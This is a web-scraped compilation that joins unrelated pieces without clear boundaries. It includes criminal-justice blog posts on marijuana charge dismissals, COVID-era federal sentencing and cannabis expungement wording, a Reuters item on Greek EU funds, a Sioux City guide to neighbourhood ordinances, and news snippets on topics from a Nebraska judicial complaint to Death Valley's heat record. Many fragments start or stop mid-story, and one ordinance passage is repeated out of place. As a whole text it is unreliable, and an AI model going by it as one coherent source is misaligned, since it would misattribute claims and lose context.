UPDATE : I just saw this official press release from yesterday that details an immediate and tangible criminal justice impact from the passage of Prop 207 in Arizona. The release is titled "MCAO to Dismiss All Pending and Unfiled Charges of Possession of Marijuana," and here is the full text:

With the passage of Proposition 207, the Maricopa County Attorneys Office (MCAO) will be dismissing all pending and unfiled charges of possession of marijuana and any associated paraphernalia charges that are before this office. Instead of continuing to spend resources on these cases, this office will begin implementing the will of the voters immediately. We are instructing Deputy County Attorneys to file a motion to dismiss any charge covered by Proposition 207. If those charges make up the entirety of the charges of the case, the entire case will be dismissed. If there are other felony charges the case will remain pending, but we will file motions to dismiss the charges covered by Proposition 207. This will include all cases pending in Early Disposition Court, those currently in diversion or pending trial, and those set for sentencing or probation violation hearings. Priority will be given to cases with court dates and those in custody. The office will also be filing motions to dismiss bench warrant cases where all the charges are covered by Proposition 207.

November 10, 2020 at 09:13 AM | Permalink

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 "We Know How to Fix the Clemency Process. So Why Dont We?" | Main | What legally distinguishes a "non-violent Federal cannabis offense" from a violent one (and would multiple SCOTUS rulings be needed to sort this out)? 

July 13, 2021

Interesting (but unclear) local report on federal sentencings in NYC impacted by COVID realities

The New York Daily News has this interesting (but less-than-clear) article discussing some federal sentencing issues under the headline "Brutal conditions in NYC jails during COVID pandemic caused federal judges to impose lighter sentences: analysis." Here are excerpts:

Federal judges handed down dozens of lighter sentences due to brutal conditions in New York Citys federal jails during the coronavirus pandemic, new statistics obtained by the Daily News show. A Daily News analysis of 43 cases involving people who could not afford their own attorneys shows that judges in Manhattan and Brooklyn federal courts imposed sentences that were on average 58% lower than what federal guidelines recommended. In nearly all of the cases, judges either cited coronavirus conditions behind bars in their sentences, or attorneys emphasized the conditions in legal briefs. In one case in July 2020, Judge Paul Engelmayer noted that punishment for Juan Carlos Aracena De Jesus illegal reentry into the U.S. after being deported was never supposed to include catching coronavirus. I am mindful ... that you have served most of your time in prison so far during the worst pandemic in this country during the past 100 years, Engelmayer said. Im mindful that your experience in prison as a result of the pandemic, the preceding lockdown, the ensuing lockdown, and your own illness was frightful. Prison is supposed to be punishment, but it is not supposed to be trauma of that nature or close. While the sentence guidelines in the case was for 30-37 months, Engelmayer sentenced Aracena to time served. He had spent six months at the Metropolitan Correctional Center in Manhattan. Judge Paul Oetken went so far as to come up with a formula for how much credit inmates should receive toward a sentence if they were behind bars during the pandemic. I do believe that because its been harsher than a usual period that its more punitive, that its essentially the equivalent of either time and a half or two times what would ordinarily be served, Oetken said on April 2 while sentencing a low-level crack dealer. The sentence amounted to time served for the dealer, Daniel Gonzalez, who said he has a recurring foot infection due to unsanitary showers at MCC. In all the cases, COVID was not the sole factor judges used to determine sentences. Judges also considered an inmates health, the nature of the crime and other factors. For Victor Marmolejo, 47, the risk of deadly consequences from his diabetes resulted in him receiving an 18-month sentence when prosecutors had asked for up to four years.... Lawsuits have alleged that coronavirus ravaged the MCC in Manhattan and the Metropolitan Detention Center in Brooklyn and that staff failed to implement commonsense preventative measures. Inmates, meanwhile, were kept in lockdown and had limited or no access to family and their attorneys. Judges have become unusually outspoken about problems at the MCC and MDC since the pandemic began.... The head of the Federal Defenders in Brooklyn, Deirdre Von Dornum, said the cases where incarcerated pretrial detainees received shorter-than-guidelines sentences based on medical and jail conditions were far more than they usually get. COVID-19 did not change the sentencing calculus. Consistent with governing sentencing law, judges have always taken medical conditions and medical risks into account. What changed was the breadth and depth of this medical crisis and the clear inability of MDC and MCC to protect those in their custody and care who had pre-existing medical conditions, Von Dornum said.

I am not at all surprised to hear accounts of federal judges taking COVID-related matter into account at sentencing. Indeed, the instructions Congress has set forth for sentencing judges in 18 USC  3553(a) really mandates consideration of factors that COVID realities can impact in various ways. So, what is most notable and important is not just how, but really how much, judicial sentencing decision-making is being impacted by COVID matters.

Unfortunately, this Daily News report, which the article describes as an "analysis of 43 cases involving people who could not afford their own attorneys" in Manhattan and Brooklyn federal courts, is too opaque to provide a clear picture of COVID-era sentencing realities. During the COVID era, there have probably more than 1000 cases sentenced in Manhattan and Brooklyn federal courts, so the 43 cases analyzed by the Daily News are likely not truly representative. Moreover, even before COVID, judges in the Eastern and Southern Districts of New York typically imposed within-guideline sentences in only about 25% of all cases. So lots of below-guideline sentences for lots of reasons was the norm even before COVID.

That all said, the impact of COVID on sentencing practices presents critical and hard questions that I am pleased to see this local newspaper discuss. I hope more media, as well as federal agencies and academics and many others, will keep seeking to explore these important issues.

July 13, 2021 at 10:19 PM | Permalink

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 "Criminalizing Migration" | Main | Joe Exotic (of "Tiger King" fame) prevails on technical guideline issue to secure resentencing on Tenth Circuit appeal 

July 14, 2021

Prez Biden names new drug czar just in time for latest disconcerting accounting of drug overdose casualties

As reported in this Politico piece, the "Biden administration is tapping Rahul Gupta as its top drug policy official, charging the former West Virginia public health commissioner with leading federal efforts to combat a spiraling addiction crisis. In some drug reform quarters, Gupta's appointment is being celebrated as evidenced by this Marijuana Moment piece headlined "Biden Selects White House Drug Czar Who Helped Implement State Marijuana Program And Touted Medical Benefits." But this new Filter article about the appointment strikes a much more wary tone:

Filter broke the news in March that Gupta was the leading candidate for the role, reporting that harm reduction experts and activists have been critical of his drug policy record. In 2018, he supported the closure of a low-barrier syringe service program. West Virginia is not only struggling to prevent soaring overdose deaths, but is now facing multiple outbreaks of HIV and hepatitis C, driven by a lack of harm reduction infrastructure and access to sterile syringes for people who use drugs. In February, the Centers for Disease Control and Prevention described Kanawha Countys HIV outbreak as the most concerning in the United States. It remains to be seen whether as drug czar Gupta will take more pro-harm reduction positions and support local harm reduction organizations that are facing political backlash across the country. The Biden Administration has made enhancing evidence-based harm reduction efforts one of ONDCPs top priorities, Robin Pollini, associate professor at West Virginia Universitys Department of Behavioral Medicine & Psychiatry, told Filter. I sincerely hope Dr. Gupta will embrace the opportunity to lead on that issue. And I would ask that he bring that leadership without delay back to West Virginia, where anti-harm reduction laws at both the state and local levels are literally killing our loved ones, friends, and neighbors. Gupta is set to take on the federal governments top drug policy job during a historic year of record-breaking overdose deaths, driven primarily by the presence of illicitly manufactured fentanyl in the unregulated drug supply, as well as stimulants like methamphetamine.

This last sentence from the Filter piece foreshadowed this morning's headlines with the latest reports on just how bad the numbers were on overdose deaths in 2020. Here are a couple of the reports:

From BuzzFeed News, "More People Than Ever Died Of Drug Overdoses In The US In 2020"

From the Wall Street Journal, "U.S. Drug-Overdose Deaths Soared Nearly 30% in 2020, Driven by Synthetic Opioids"

These press reports on the latest 2020 overdose death data draw from this CDC page with more details. There is an interesting map on the CDC page showing state-by-state overdose numbers in 2019 and 2020. Remarkably, two states saw declines in overdose deaths in 2020, New Hampshire and South Dakota. But, even more remarkably, neighboring Vermont and Nebraska saw huge increases in overdose deaths in 2020. Sadly, it is hard to find any clear pattern in all the state data except lots of death.

July 14, 2021 at 01:53 PM | Permalink

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Just a reminder that the drug czarthe head of ONDCPis required by the legislation that created the office to oppose any attempt to legalize the use of a controlled substance. 21 USC 1703(b)12

Posted by: Paul | Jul 17, 2021 11:58:06 AM

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 Interesting (but unclear) local report on federal sentencings in NYC impacted by COVID realities | Main | "Criminalizing Migration" 

July 14, 2021

What legally distinguishes a "non-violent Federal cannabis offense" from a violent one (and would multiple SCOTUS rulings be needed to sort this out)?

The question in the title of this post is prompted by key language in the resentencing and expungement provision of the "discussion draft" of Senate Majority Leader Chuck Schumer's new federal marijuana reform bill, the Cannabis Administration and Opportunity Act. The full text of this CAO "discussion draft" is available here; this highly-anticipated bill draft runs 163 pages and covers all sorts of reform and regulatory issues related of federal marijuana law and policy (see coverage here at MLP&R). Of course, I am distinctly interested in the criminal justice provisions of this bill, and I was excited to see there is a dedicated section (sec. 311) devoted to "RESENTENCING AND EXPUNGEMENT." But the CAOA bill draft includes a notable (and I think problematic) linguistic limit on the reach of resentencing and expungement.

Specifically, the main expungement provision of the CAOA calls for automatic expungement of only a "non-violent Federal cannabis offense." CAO sec. 311(a)(1) (emphasis added). Similarly, the provision allowing for "sentencing review" states:

For any individual who is under a criminal justice sentence for a non-violent Federal cannabis offense, the court that imposed the sentence shall, on motion of the individual, the Director of the Bureau of Prisons, the attorney for the Government, or the court, conduct a sentencing review hearing. If the individual is indigent, counsel shall be appointed to represent the individual in any sentencing review proceedings under this subsection.

CAO sec. 311(b)(1) (emphasis added). I really like the provision requiring the appointment of counsel for these "sentencing review proceedings." But I wonder and worry that, if this provision were to become law, counsel might be spending way too much time just figuring out whether prospective clients qualify as "non-violent" federal cannabis offenders.

Though we all often use terms like violent and non-violent as offense descriptors, federal criminal justice practitioners know all too well that there is never-ending litigation in the context of many other federal statutes and provisions concerning whether certain prior offenses qualify as "violent" or not. (Frustrated by just one small piece of this litigation, I joked in this post that one of the circles of hell set forth in Dante's Inferno surely involved trying to figure out what kinds of past offenses can or cannot be properly labeled "violent.")

Especially troublesome in this context is the realty that, technically, all basic federal drug offenses are "non-violent" because there are not any formal elements of these offenses that require any proof of force or injury. And yet, more than a few "drug warriors" have been heard to say that all drug crimes are by their very nature violent and that the only types of drug offenders who get the attention of federal prosecutors are those who have a violent history or violent tendencies. Consequently, I would expect that federal defense attorneys would have a basis to argue that every "Federal cannabis offense" qualifies as non-violent, while federal prosecutors would likely contend that at least some (many?) federal cannabis offenders are to be excluded by this "non-violent" limit in the bill text.

I suspect that this section of the Cannabis Administration and Opportunity Act was just drawn from similar language in the House version of proposed federal marijuana reform (section 10 of the MORE Act), and the CAOA's current status as a "discussion draft" should provide an opportunity to clean up this problematic adjective. Though I understand the political reason for wanting to distinguish less and more serious drug offenders for expungement and resentencing provisions, the "non-violent" terminology seems to me quite legally problematic. (There are other aspects of the "RESENTENCING AND EXPUNGEMENT" section of this new bill that are far from ideal, but this terminology struck me as the biggest red flag.)

Some related work in this space:

A few of many prior recent related posts:

July 14, 2021 at 11:12 AM | Permalink

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The phrase "nonviolent marijuana offense" is anathema in some legal circles and sentencing reform advocacy organizations. Never the less, I use it as it speaks to the public conscience about the hypocrisy of our prosecution and sentencing of this category.

The public knows what nonviolent means - no-one was hurt or killed. This applies whether the person was sentenced after trial or a plea. If the person was sentenced after trial and there was no violence in the indictment it is a nonviolent offense. If sentenced after a plea and there was no violence it is a nonviolent offense.

Of course the law is not a bright line. I do not see the problem in the definition of a nonviolent marijuana offender. To me the problem is in your fifth paragraph.

"Though we all often use terms like violent and non-violent as offense descriptors, federal criminal justice practitioners know all too well that there is never-ending litigation in the context of many other federal statutes and provisions concerning whether certain prior offenses qualify as "violent" or not."

Thank you for all your efforts to clarify cj issues.

Posted by: beth curtis | Jul 15, 2021 6:39:10 PM

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FILE PHOTO: Greek Finance Minister Christos Staikouras pauses during an interview with Reuters at his office in the Finance Ministry in Athens

ATHENS (Reuters) - Greece expects to receive four billion euros ($4.7 billion) later this month in the first tranche of funds secured from the European Union's Recovery Fund, Finance Minister Christos Staikouras said on Wednesday.

The country is to get about 31 billion euros in subsidies and loans from Europe's 750-billion-euro post-pandemic fund by 2026, mainly to make its economy greener and more digitalised.

"How much do we expect to get by the end of the month? 4.0 billion euros," Staikouras told state television ERT.

He said another 3.5 billion euros would come from the fund by the end of the year.

Greece has spent about 40 billion euros to support companies and workers hit by lockdown restrictions during the COVID-19 pandemic.

The country has already raised nearly 12 billion euros from debt markets, and Staikouras said the government's cash reserves were unchanged from at the start of the pandemic crisis, at about 34 billion euros.

The Greek economy, which has slowly emerged from a decade-long crisis, showed resilience in the first quarter, mainly thanks to investments. The government expects it will grow by 3.6% this year, helped by tourism, after an 8.2% slump in 2020.

(Reporting by Angeliki Koutantou; Editing by Hugh Lawson)
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KNOW THE RULES FOR HOME PROPERTY

What Sioux City considers being a good neighbor

Tim Hynds, Sioux City Journal A snowbound car is shown parked along Court Street in Sioux City in February. Sioux City Community Policing Sgt. Jeremy McClure said abandoned vehicles make it difficult to get the streets cleared during snowstorms.

SIOUX CITY -- If you're neglecting to mow your lawn even though it resembles a hayfield, playing thumping bass that can be heard for blocks, and parking your car in front of your neighbors' driveway, don't be surprised to find yourself on the receiving end of their ire and even the city's.

The city of Sioux City has a number of ordinances in place to keep neighborhoods safe, peaceful and maintained.

Provided McClure

Community Policing Sgt. Jeremy McClure said officers spend a lot of time on "quality of life calls" and that neighbor rivalries arise over seemingly simple issues, such as loud music and parking problems.

"A lot of problems can be alleviated by getting to know your neighbors and letting them know if there is an issue," he said. "It is also a matter of respecting each other. People work hard to have a nice place and keep their neighborhood looking good."

Noise

Certain noises are allowed during certain time frames in the city. For example, construction, the playing of musical instruments and lawn care are permitted between the hours of 7 a.m. and 9 p.m.

However, McClure said stereos generate the most noise-related complaints. In the first six months of 2021, he said officers responded to 322 loud party or loud music complaints.

According to McClure, city ordinance states that if sound equipment can be heard "plainly audible at the real property boundary" it is considered a violation, regardless of the time of day.

"The majority of the time (these complaints) are handled by the officer speaking to the (residents) causing the noise and asking them to keep it down," he said. "Occasionally, this becomes an ongoing problem and we respond to a residence multiple times."

Police have the option of issuing a citation under the city's noise control ordinance or issuing a simple misdemeanor. Based on Iowa code, the fine for a simple misdemeanor is $105 up to $850 and/or up to 30 days in jail. Under a municipal infraction, the first violation results in a fine of $100 up to $750, the second violation is a fine of $200 up to $1,000, and the third and subsequent violations result in a fine of $300 up to $1,000.

Tall weeds and grass

An overgrown lawn is more than just an eyesore in the neighborhood. It poses health, fire and safety hazards.

"When there's tall grass and weeds, it is an increased fire danger," said Darrel Bullock, the city's code enforcement manager. "The other part of it is it also harbors a lot of rodents that people may not care to see in their yard, like mice and other things."

City code allows weeds or grass to be no more than 12 inches high. If the grass or weeds have grown higher than a foot, inspectors will stick a notification into the ground and also send the property owner a letter asking them to mow their lawn in a timely manner. If they haven't complied, Bullock said a contractor will generally do the work on the seventh or eighth day and bill the property owner for it. He said cost depends on the square footage of the area mowed.

"There's a $30 minimum, even if we've gotta just trim a fence line, for instance, or alongside a garage," he said. "An additional $100 admin fee goes on there for having to do the two inspections, as well as calling out and doing the invoicing to the property owner."

Bullock said you can report tall grass and weeds anonymously if you wish by visiting sioux-city.org. If inspectors notice other properties in the neighborhood that are overgrown with vegetation while conducting an inspection, Bullock said those properties will be flagged, too.

"We will write up everybody in that one neighborhood that is in violation," he said.

Farm animals

Raising egg-laying chickens in the backyard has been growing in popularity in both urban and suburban areas over the years. But, before you set up that coop, you better check with the city to ensure the keeping of chickens is allowed on your property, and, you'll also need a permit for it.

"As far as livestock goes or farm animals go, it depends on housing inspections and it depend on the location of your property -- how close you live to your neighbors," said Kenna Anderson, adoption coordinator at Sioux City Animal Adoption and Rescue Center. "If you want a little chicken coop and you're too close to your neighbors for the housing and zoning part of it, they will ask you to have your neighbors sign off on a petition."

Anderson said animal control officers have had to impound unpermitted farm animals in the city, including a calf that was living in a resident's garage near the downtown area.

"We found a donkey living on somebody's front porch. We had another situation where someone had a miniature horse in their backyard. Potbellied pigs, those are pretty common ones," she said. "We have a lot of families that get pet ducks, pet geese that you can buy from Bomgaars, which are supposed to be for farms."

Firepits

Commercially manufactured outdoor fireplaces, firepits and chimineas are allowed in the city; however, police and fire officials can order that the fires burning in these devices be extinguished if they become hazardous, objectionable or offensive to neighbors.

Lt. Scott Kovarna, deputy fire marshal with Sioux City Fire Rescue, said complaints about these devices seem to ramp up in the spring and fall, when evenings are cooler.

"The things that we see cause the biggest problems is when people burn things in them that they're not permitted to, such as grass, leaves, building materials, construction materials," he said. "The grass and leaves cause a lot of smoke, and, it's usually that smoke that blows into somebody else's house. And then, people with breathing problems, of course, that smoke leads to bigger problems for them."

Residents seeking to use these devices need to heed some rules. They cannot use them on a combustible surface, such as a wooden deck, any balcony or deck above grade level, or within 10 feet of combustible construction, including overhangs.

Outdoor fireplaces, firepits and chimineas must have a screen or other protective cover to prevent sparks and embers from escaping. Only dry, seasoned firewood or manufactured logs, such as a Dura-flame log, can be burned in them.

Users must attend to their fires at all times and avoid burning when winds are 15 miles per hour or greater.

"If our crews deem that they're doing everything right and there's no smoke problem, there's nothing we can really do," Kovarna said. "Sometimes, it's a case of neighbors just not liking neighbors. They think they're doing something wrong and really they're not. They have the proper firepit. They've got the spark arrestor screen over it. It's the proper distance away."

Pets

In the fall of 2019, the City Council voted to revise the city's leash law and eliminate the option to have an animal under voice control, which means Fluffy and Fido need to be contained in your yard or controlled on a leash to avoid being deemed "at large."

"At large" is defined as any licensed or unlicensed animal found off the premises of its owner and not under the control of a person physically capable of controlling the animal on a leash 16 feet or less in length.

Under the revised animal control chapters, fines for pet owners found responsible of failing to prevent bites and attacks increased to the maximum amount of penalty the city can implement under a municipal infraction. The penalties range from $100 for a violation not resulting in a bite or injury up to $750 for a violation resulting in the serious injury or death of a person.

The total number of pets allowed per city code is three per residential unit, but no more than two of the same species. All dogs and cats residing within city limits must be licensed.

If you wish to own three dogs or more or three cats or more, you need an excess domestic animals permit. In order to obtain such a permit, you must gather approval signatures from all neighbors within 100 feet of your property line.

Parking/abandoned vehicles

Police officers frequently deal with parking problems and abandoned vehicle complaints in the city's neighborhoods.

During the first six months of the year, officers responded to over 1,000 abandoned vehicle complaints and 518 parking complaints.

Vehicles that sit on public streets for more than 24 hours are considered abandoned. The police department has a code enforcement officer who looks for abandoned vehicles.

"The majority of cars we deal with as abandoned have clearly been unmoved for more than just 24 hours," said McClure, who noted that abandoned vehicles make it difficult to get the streets cleared during snowstorms.

An officer will initially place a sticker on the vehicle to warn the owner that it will be towed if it is not moved by a specified time. If the vehicle is still there when the officer returns to check on it, it will be towed.

McClure said parking in no parking zones and blocking driveways are most often handled with a parking ticket; however, he said a vehicle blocking a driveway can be towed at the owner's expense under Iowa law.

"We usually make attempts to have the car moved before having it towed," he said.
You enter your departure city, the length of trip youre looking for and your price range, and Google returns a handful of deals to a bunch of destinations at random times within your date range.

POINTS AND MILES

Travel bloggers love to rave about how they scored a first-class ticket using miles, but they dont often describe their true secret: extreme flexibility.

Redeeming points and miles for reward travel all but requires a high degree of flexibility to get the most value from them. For one thing, the availability of these awards can be spotty. Before you can even determine if an award booking is a good deal or not, you need to actually find an available award booking option. For another, airlines often double the price or more during high-demand dates.

In short: If youre looking to use miles on a specific flight on a specific day, you might either pay too much  or not be able to score a ticket at all.

To make things easier, many airlines offer award calendars that let you see which dates and prices are available by month, which can be especially helpful when rooting out hard-to-find premium cabin tickets.


Former State Sen. Ernie Chambers of Omaha has filed a complaint against a Dixon County judge who described himself as "old-fashioned" in denying an adoption petition for a same-sex married couple.
According to McClure, city ordinance states that if sound equipment can be heard "plainly audible at the real property boundary" it is considered a violation, regardless of the time of day.

"The majority of the time (these complaints) are handled by the officer speaking to the (residents) causing the noise and asking them to keep it down," he said. "Occasionally, this becomes an ongoing problem and we respond to a residence multiple times."

Police have the option of issuing a citation under the city's noise control ordinance or issuing a simple misdemeanor. Based on Iowa code, the fine for a simple misdemeanor is $105 up to $850 and/or up to 30 days in jail. Under a municipal infraction, the first violation results in a fine of $100 up to $750, the second violation is a fine of $200 up to $1,000, and the third and subsequent violations result in a fine of $300 up to $1,000.

Tall weeds and grass

An overgrown lawn is more than just an eyesore in the neighborhood. It poses health, fire and safety hazards.

"When there's tall grass and weeds, it is an increased fire danger," said Darrel Bullock, the city's code enforcement manager. "The other part of it is it also harbors a lot of rodents that people may not care to see in their yard, like mice and other things."
The states that signed onto the amicus brief are: Alabama, Alaska, Arkansas, Georgia, Idaho, Indiana, Kansas, Kentucky, Louisiana, Mississippi, Missouri, Montana, Nebraska, North Dakota, Ohio, Oklahoma, Tennessee, Texas, Utah and West Virginia. All but three have Republican governors.

Several other groups have submitted filings in support of South Carolina, including the Southern Baptist Convention and an anti-abortion group of obstetricians and gynecologists.

Attorneys for Planned Parenthood have not responded in court.

Actions by an even higher court could also dictate outcomes in this case. On Tuesday, Lewis ruled she would stay further motions following the U.S. Supreme Courts decision to take a case from Mississippi  which wants to enforce an abortion ban after 15 weeks of pregnancy. The court will likely hear that case in the fall, with a decision likely in 2022.

About a dozen other states have passed similar or more restrictive abortion bans, which could take effect if the U.S. Supreme Court were to overturn Roe v. Wade, the landmark 1973 court decision supporting abortion rights. Federal law supersedes state law.
Were going to be taking a close look at what has and has not worked in the past, and unfortunately in the case of Cuba, there may be more that has not worked than what has worked," Price said.

This week, Cuban police have been out in force as President Miguel Diaz-Canel has accused Cuban Americans of using social media to spur a rare outpouring of weekend protests. The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades.

There are political crosscurrents for Biden as he addresses both situations.

On Cuba, the political right in the U.S. has accused Biden  who said as a presidential candidate that he would revert to Obama-era policies that loosened decades of embargo restrictions on Havana  of not being supportive enough of Cuban dissidents.

Democrats, meanwhile, are unhappy that Biden has yet to reverse Trumps hard-line approach to the islands communist government as his administration carries out its review of Cuban policy.

Trump in a statement criticized Biden's past promises to loosen restrictions on Cuba.
ORourke said the association suspended Baffert to protect the integrity of thoroughbred racing.

Amon said she concluded that Baffert had established a likelihood he will prove the suspension violated the Due Process Clause of the 14th Amendment of the U.S. Constitution.

She said he also made a strong showing that there would be irreparable harm if the suspension was not overturned.

Amon noted that lawyers for the New York Racing Association had argued at a hearing Monday in Brooklyn that the public depends on it to ensure races are conducted in a fair and honest manner and to protect the integrity of the sport.

That may be true, but the public has no interest in having the integrity of the sport enforced by unconstitutional means, she wrote.

On Monday, Henry Greenberg, arguing for the racing association, said the organization acted quickly because the Belmont Stakes, the third prong of horse racing's Triple Crown, was fast approaching.

The NYRA operates Belmont Park, Aqueduct and Saratoga Race Course.
HIGHWAY INFORMATION: Information on Iowas state and U.S. highways and interstates is now on one, cohesive website, https://www.511ia.org. The new version replaces a variety of formats that were available depending on the needs of the driver and the bandwidth of their internet service.

A previous versions, which included a streamline version for lower bandwidth connections and full-featured versions for travelers and commercial drivers, have been retired.

The new site can be viewed on any device. The Iowa Department of Transportation has been ramping up its functionality over the last year, and the final pieces were added in late June to allow the old sites to be retired. Anyone who had bookmarked the previous sites will automatically be redirected to the new https://www.511ia.org.

The 511 system allows you to set up an account that alerts you of activity such as construction or incidents and weather conditions on routes or areas you have saved. In addition, you can save your favorite cameras to more easily see the traffic situation on routes you want to monitor.

All information input into the 511 system will appear on Twitter at @statewide511.
OMAHA, Neb. (AP)  Two weeks after Nebraska quit publicly reporting daily coronavirus statistics, the state launched a new website Wednesday to provide weekly updates on some of the information.

The state's decision to stop providing daily COVID-19 updates was widely criticized by health experts who use the data to track the virus' spread.

I dont think that was a well-timed decision, said Dr. James Lawler, who is one of the leaders of the Global Center for Health Security at the University of Nebraska Medical Center in Omaha. I think that if you are trying to drive down a rivet at night in the rain, blindfolding yourself is probably not the best idea.

Nebraska Department of Health and Human Services spokeswoman Olga Dack said the state's new website will be updated on Wednesdays with some of the latest information about the virus' spread. The site includes the number of virus cases, hospitalizations and deaths in the state along with statistics on the vaccination campaign, but it doesn't include as much detail as the previous version of the dashboard.
The woman said she was injected for days. She would wake up feeling foggy, dazed and sexually violated. She had bruises on her legs, arms and hips and described some as restraint marks, according to the warrant.

She wasnt directly threatened but, according to the warrant, the man had a gun and she overheard him and his roommate talking about what would happen to her if she tried to leave. The woman said sometimes she heard other womens voices in the house and wondered if they were also being held against their will but she didnt know.

The woman eventually escaped with help from her ex-boyfriend and his sister, the warrant said. She said she hadnt seen the man since.

This 50-year-old hasnt been arrested or charged in connection with this womans report, but he was charged earlier this month in federal court with possessing an unregistered sawed-off shotgun on May 29 in Iowa County. He remains in jail pending trial.

According to the motion, the prosecution became aware of information that could be relevant to the Tibbetts killing but didnt disclose to the defense there also were unresolved abduction investigations pending at the time the inmate tipped them off to the new information.
He said the judge, whom he termed a scalawag in judicial robes, warranted discipline under the Nebraska Constitution because he acted unlawfully and had inflicted extreme mental anguish on a family.

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His contemptuous conduct is so blatantly inhumane, cruel and devoid of ordinary human compassion that the Angels of impartial justice and judicial rectitude droop their pinions and blush in mortification, the former lawmaker said.

Chambers also argued that Luebes comment about being old-fashioned suggested he knew his putting the kibosh on the adoption petition of a qualified couple flew in the face of the law, but his old-fashionedness led him to disregard what he knew the law to be, in order to render a vindictive decision in keeping with his prejudiced predilections.

Luebe did not immediately respond to an email seeking comment about the complaint.

Hoagland and Valdez were able to complete the adoption at the end of May, following the state high court ruling and the transfer of the case to a different judge.
The identity of the man implicated by the two witnesses hasnt been revealed. But Judge Joel Yates granted a defense motion for one of them  an inmate at an Iowa prison  to testify at Bahena Rivera's sentencing hearing Thursday at the Poweshiek County Courthouse in Montezuma, which is in central Iowa about halfway between Des Moines and Iowa City.

Prosecutors remain confident in Bahena Riveras guilt and they plan to respond to the defense claims this week, according to state attorney generals office spokesman Lynn Hicks.

The prisoner who will testify Thursday says that when he was housed at a county jail, another inmate told him that Tibbetts had been kidnapped by associates and held at a trap house for sex trafficking, where she was bound and gagged, the defense motion says. He says that this other inmate said that he and another person killed Tibbetts after the publicity surrounding her disappearance got too big and that they dumped her body near a Hispanic male in order to make it appear that the Hispanic male committed the crime, the filing states.

The witness told prison officials and investigators that he thought the story was bluster until he heard Bahena Riveras testimony, the motion says.

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WATERLOO, Iowa  Someone out there knows who is behind the 2012 slayings of cousins Elizabeth Collins and Lyric Cook.

And turning over that information could mean a lot of money.

Officials with Crime Stoppers of the Cedar Valley announced the reward for information leading to an arrest in the case topped $100,000 over the weekend thanks to the help of two anonymous donors.

The announcement came Tuesday, on the ninth anniversary of the disappearance of the cousins.

We are just waiting for that one person to take five minutes out of their life and contact Crime Stoppers or the DCI and get some closure for these families, said Investigator Brice Lippert with the Waterloo Police Department.

Lippert said the reward requires only enough information to make an arrest --- a conviction isnt required --- and the money can be paid out immediately after the arrest.

The reward had sat at $50,000 in 2019.

Elizabeth and Lyric were 8 and 10, respectively, when they disappeared while riding their bikes in Evansdale, Iowa, on July 13, 2012. Their bikes were located on a trail near Meyers Lake.
ROME (AP)  Pope Francis arrived at the Vatican after he was discharged from a Rome hospital Wednesday, 10 days after intestinal surgery to remove half of his colon.

The Ford car carrying Francis stopped briefly at the side entrance to Vatican City. Francis emerged from the passenger seat with the aid of a bodyguard to greet some security guards standing outside.

He then got back in the car and proceeded to enter the Vatican through the Perugino Gate.

THIS IS A BREAKING NEWS UPDATE. APs earlier story follows below.

ROME (AP)  Pope Francis was seen leaving the hospital on Wednesday, 10 days after undergoing planned surgery to remove half his colon.

Associated Press journalists saw a car carrying Francis, 84, leaving Romes Gemelli Polytechnic hospital Wednesday morning. He was sitting in the front passenger seat.

Francis had half of his colon removed for a severe narrowing of his large intestine on July 4, his first major surgery since he became pope in 2013. It was a planned procedure, scheduled for early July when the popes audiences are suspended anyway and Francis would normally take some time off.
President Biden and former president Trump, who first announced the withdrawal of U.S. forces, have said that America cannot engage in nation building. Even recent history has proved that true. The larger question is whether we can defend ourselves against further attacks on this country if Al-Qaida regroups and, with the help of Iran, stages another 9/11-type attack, or worse, this time with nuclear devices.

All wars cost money, lives and limbs. The question is whether the investment was worth it. Did it produce desired outcomes? At best the answer when it comes to Afghanistan is problematic. At worst, it is what The Economist magazine calls a disaster.

The Military Times reports on a study by the Cost of War Project, which found that the combined cost of our involvement in Afghanistan is over $2 trillion: Those funds do not, however, include the amount the United States government is obligated to spend on lifetime care for American veterans of this war, nor does it include future interest payments on money borrowed to fund the war.

The Cost of War Project also estimates 241,000 people have died because of the war in Afghanistan, which includes more than 2,400 American service members and at least 71,344 civilians.
Americans are arguing of late about their history  about whether to look at it primarily as good or bad, uplifting or oppressive. The reality is that our nations past is, of course, a mixture of great positives but also unsettling negatives. Our schools and universities have an obligation to present a full picture, hiding neither the injustices nor the achievements.

How much one aspect  the positives, the negatives  should be emphasized will depend on a persons perspective. There will always be room to disagree.

But theres also considerable room for agreement, if people make the effort to look for it. Lets consider some examples, first on the positive side, then the negative.

Were the men who crafted our founding documents  the Declaration of Independence, the Constitution  perfect individuals? No. But that doesnt remove the fact that the constitutional foundation they ultimately laid stands as an extraordinary advancement in world history, with enduring value for each new generation of Americans.
Death Valley, California, breaks the all-time world heat record for the second year in a row

Posted on 14 July 2021 by Guest Author

This is a re-post from Yale Climate Connections by Jeff Masters

For the second consecutive year, Death Valley, California, has set a world record for the hottest reliably measured temperature in Earths history.

Death Valley National Parks Furnace Creek Visitor Center hit an astonishing 130.0 degrees Fahrenheit (54.4C) on Friday afternoon, July 9, 2021, beating the previous world record of 129.9 degrees Fahrenheit (54.4C), set there on August 16, 2020. For perspective, according to Whats Cooking America, a medium-rare steak is cooked to an internal temperature of 130-135F.

According to weather records expert Christopher Burt, who wrote the comprehensive weather records book Extreme Weather, and extreme weather expert Maximiliano Herrera, who tweets under the Twitter handle Extreme Temperatures Around the World, the observation, if confirmed, would be the hottest reliably recorded temperature in world history.

Cautions about the record

Fridays measurement will have to undergo review by the World Meteorological Organization (WMO) before being declared officially valid. Two possible areas of concern are that the temperatures at Furnace Creek showed a steep jump during the afternoon, and the nearby Stovepipe Wells station was considerably cooler, topping out at 122.6 degrees Fahrenheit (50.3C). (See the raw high-resolution Furnace Creek data here by choosing a time up to six days in the past from the drop-down menu, then choosing Decoded Data.) WMO has not yet certified last years 129.9 degrees Fahrenheit (54.4C) reading on August 16, 2020 at Furnace Creek as valid, so there may be a long wait. Fortunately, well have excellent independent verification of this years measurement thanks to a temporary thermometer set up at the site in May by Campbell Scientific.

Climatologist William Reid, an expert on Death Valley meteorology who has written extensively about the site, cautioned that an increase in vegetation and structures built in the vicinity of the Furnace Creek site in recent decades has allowed the station to record hotter temperatures.

